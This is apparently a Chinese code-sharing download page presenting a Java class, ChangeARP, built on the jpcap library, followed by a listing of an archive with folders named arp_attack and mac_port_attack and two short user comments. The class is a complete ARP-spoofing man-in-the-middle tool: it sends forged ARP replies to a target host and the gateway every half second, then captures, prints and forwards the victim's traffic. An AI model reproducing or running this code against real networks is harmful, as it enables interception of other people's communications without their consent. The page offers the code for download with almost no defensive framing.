import java.io.*;
import java.net.*;
import jpcap.*;
import jpcap.NetworkInterface;
import jpcap.packet.*;
public class ChangeARP {
private NetworkInterface[] devices; // 设备列表
private NetworkInterface device; // 要使用的设备
private JpcapCaptor jpcap; // 与设备的连接
private JpcapSender sender; // 用于发送的实例
private byte[] targetMAC, gateMAC; // B的MAC地址,网关的MAC地址
private String targetIp, gateIp; // B的IP地址,网关的IP地址
ARPPacket arpTarget, arpGate;
/**
* 初始化设备 JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic dialup
* adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
* 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
* JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
* 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分 配给虚拟网卡,也就是说在程序中调用device.
* mac_address时得到的是00 00 00 00 00 00。
*/
private void getDevice() {
devices = JpcapCaptor.getDeviceList(); // 获得设备列表
device = devices[0]; // 只有一个设备
try {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);// 打开与设备的连接
jpcap.setFilter("ip", true); // 只监听B的IP数据包
} catch (IOException e) {
e.printStackTrace();
}
sender = jpcap.getJpcapSenderInstance();
}
/**
* 修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一 段时间就发一次包重新更改B和网关的ARP表。
*
* @参数 targetMAC B的MAC地址,可通过ARP解析得到;
* @参数 targetIp B的IP地址;
* @参数 gateMAC 网关的MAC地址;
* @参数 gateIp 网关的IP;
*/
public void changeARP(byte[] targetMAC, String targetIp, byte[] gateMAC,
String gateIp) throws UnknownHostException, InterruptedException {
this.targetMAC = targetMAC;
this.targetIp = targetIp;
this.gateMAC = gateMAC;
this.gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); // 修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // 选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // 选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; // 选择REPLY类型
arpTarget.hlen = 6; // MAC地址长度固定6个字节
arpTarget.plen = 4; // IP地址长度固定4个字节
arpTarget.sender_hardaddr = device.mac_address; // A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); // 网关IP
arpTarget.target_hardaddr = targetMAC; // B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp)
.getAddress(); // B的IP
EthernetPacket ethToTarget = new EthernetPacket(); // 创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 选择以太包类型
ethToTarget.src_mac = device.mac_address; // A的MAC地址
ethToTarget.dst_mac = targetMAC; // B的MAC地址
arpTarget.datalink = ethToTarget; // 将以太头添加到ARP包前
arpGate = new ARPPacket(); // 修改网关ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; // 跟以上相似,不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
Thread thread = new Thread(new Runnable() { // 创建一个进程控制发包速度
public void run() {
recP(); // 接收数据包并转发
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
});
thread.start();
}
/**
* 修改包的以太头,转发数据包 参数 packet 收到的数据包 参数 changeMAC 要转发出去的目标
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; // 修改包以太头,改变包的目标
eth.src_mac[i] = device.mac_address[i]; // 源发送者为A
}
sender.sendPacket(packet);
}
}
/**
* 打印接受到的数据包并转发
*/
public void recP() {
IPPacket ipPacket = null;
while (true) {
Packet packet = jpcap.getPacket();
if (packet instanceof IPPacket) {
ipPacket = (IPPacket) packet;
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
}
}
没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
收起资源包目录
arp_test.rar (40个子文件)
arp_test
bin
Test.class 1KB
Convert_bit_hex.class 2KB
Attack_test.class 3KB
mac_port_attack
Test1.class 3KB
arp_attack
LocalListener.class 3KB
LocalListener$1.class 729B
IpMacMap.class 847B
ARPPacketGern.class 1KB
EthernetPacketGern.class 697B
Ip_test.class 3KB
samples
SendUDP.class 2KB
Tcpdump.class 3KB
ARP.class 4KB
ReadDump.class 1KB
SendICMP.class 2KB
SendTCP.class 2KB
Traceroute.class 4KB
ChangeARP.class 4KB
ChangeARP$1.class 1KB
Attack_all_test.class 4KB
src
Ip_test.java 2KB
mac_port_attack
Test1.java 2KB
arp_attack
EthernetPacketGern.java 674B
ARPPacketGern.java 1KB
IpMacMap.java 642B
LocalListener.java 3KB
Attack_test.java 2KB
Attack_all_test.java 3KB
samples
ReadDump.java 642B
ARP.java 3KB
Traceroute.java 3KB
SendICMP.java 1KB
SendTCP.java 1KB
Tcpdump.java 1KB
SendUDP.java 1KB
Convert_bit_hex.java 2KB
ChangeARP.java 5KB
Test.java 1KB
.project 384B
.classpath 232B
共 40 条
- 1
资源评论
- z603119892012-10-23可以用 但是很容易就被防守了 就当学习了
- z01204093105072014-04-16里面有源码,但是没有使用案例,而且代码有点冗余。
chaofanwei
- 粉丝: 815
- 资源: 13
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功